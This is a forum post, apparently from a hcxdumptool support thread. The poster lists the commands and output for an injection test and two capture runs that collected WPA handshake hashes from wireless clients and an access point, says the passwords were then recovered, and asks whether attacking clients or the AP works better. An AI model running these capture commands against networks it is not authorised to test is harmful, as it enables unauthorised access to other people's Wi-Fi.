hcxdumptool - missing frames w/ filtering

[pipss]

Testing now ACM36 with stock antennas. First tried injection: 

Code:

$ sudo hcxdumptool -i wlan0 --check_injection -c 6
initialization of hcxdumptool 6.2.6 (depending on the capabilities of the device, this may take some time)...
starting antenna test and packet injection test (that can take up to two minutes)...
stage 2 of 2 probing frequency 5865/173 proberesponse 107 
packet injection is working on 2.4GHz!
injection ratio: 21% (BEACON: 503 PROBERESPONSE: 107)
your injection ratio is poor - improve your equipment and/or get closer to the target
antenna ratio: 31% (NETWORK: 22 PROBERESPONSE: 7)
your antenna ratio is average, but there is still room for improvement

After that turned off my AP and run hcxdumptool with essid list in beacon: 

Code:

sudo hcxdumptool -i wlan0 -o dump.pcapng --enable_status=31 --essidlist=essid --active_beacon

Got two hashes from clients.

After that turned on AP and run hcxdumptool in standart mode: 

Code:

sudo hcxdumptool -i wlan0 -o dump.pcapng --enable_status=31

While attacking clients. i got two hashes. While attacking AP got AP's one

From all obtained hashes password was recovered.

Question is what are the benefits of attacking client vs attacking AP?
